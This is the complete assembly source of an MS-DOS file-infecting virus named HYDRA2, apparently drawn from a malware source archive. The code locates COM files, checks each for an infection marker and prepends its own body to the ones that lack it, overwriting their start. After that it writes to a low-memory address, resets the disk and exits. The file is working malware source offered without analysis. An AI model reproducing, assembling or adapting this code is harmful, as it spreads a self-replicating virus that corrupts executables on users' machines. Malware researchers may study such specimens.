MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.hydra2.asm

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;<3B><>								         <20><>
;<3B><>			        HYDRA2				         <20><>
;<3B><>								         <20><>
;<3B><>      Created:   27-Aug-91					         <20><>
;<3B><>      Passes:    5	       Analysis Options on: AW		         <20><>
;<3B><>      Copyright (c)						         <20><>
;<3B><>								         <20><>
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data_1e		equ	100h
data_2e		equ	235h
data_3e		equ	257h
data_4e		equ	522h
psp_cmd_size	equ	80h
data_15e	equ	157h
data_16e	equ	15Ah

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

hydra2		proc	far

start:
		jmp	loc_1
		pop	cx
		inc	sp
		add	[bx+si],al
data_7		db	'HyDra-2   Beta - Not For Release'
		db	'. *.CO?'
		db	0
data_10		dw	0, 8B39h
data_12		dw	0
data_13		db	0
		db	29 dup (0)
data_14		db	0
		db	13 dup (0)
copyright	db	'Copyright (c)'
		db	'  1991 by C.A.V.E.  '
loc_1:
		push	ax
		mov	ax,cs
		add	ax,1000h
		xor	di,di			; Zero register
		mov	cx,157h
		mov	si,100h
		mov	es,ax
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	ah,1Ah
		mov	dx,offset data_13
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		mov	ah,4Eh			; 'N'
		mov	dx,offset data_7+22h	; ('*')
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_5			; Jump if carry Set
loc_2:
		mov	ah,3Dh			; '='
		mov	al,2
		mov	dx,offset data_14
		mov	al,2
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax
		push	es
		pop	ds
		mov	ax,3F00h
		mov	cx,0FFFFh
		mov	dx,data_15e
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		add	ax,157h
		mov	cs:data_12,ax
		cmp	word ptr ds:data_16e,4459h
		jne	loc_3			; Jump if not equal
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		push	cs
		pop	ds
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jc	loc_6			; Jump if carry Set
		jmp	short loc_2
loc_3:
		xor	cx,cx			; Zero register
		mov	dx,cx
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_4			; Jump if carry Set
		mov	ah,40h			; '@'
		xor	dx,dx			; Zero register
		mov	cx,cs:data_12
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_4:
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		push	cs
		pop	ds
loc_5:
		mov	ah,1Ah
		mov	dx,psp_cmd_size
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		jmp	short loc_7
		nop
loc_6:
		push	dx
		xor	ax,ax			; Zero register
		xor	ax,ax			; Zero register
		mov	ds,ax
		mov	bx,data_4e
		mov	ah,0FFh
		mov	[bx],ah
		xor	ax,ax			; Zero register
		int	13h			; Disk  dl=drive 0  ah=func 00h
						;  reset disk, al=return status
		mov	ax,0
		int	21h			; DOS Services  ah=function 00h
						;  terminate, cs=progm seg prefx
loc_7:
		xor	di,di			; Zero register
		mov	si,data_2e
		mov	cx,22h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	bx
		mov	cs:data_10,0
		mov	word ptr cs:data_10+2,es
		pop	bx
		jmp	dword ptr cs:data_10
		push	ds
		pop	es
		mov	cx,0FFFFh
		mov	si,data_3e
		mov	di,data_1e
		sub	cx,si
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	word ptr cs:[100h],100h
		mov	word ptr cs:[102h],ds
		mov	ax,bx
		jmp	dword ptr cs:[100h]
		int	20h			; DOS program terminate

hydra2		endp

seg_a		ends



		end	start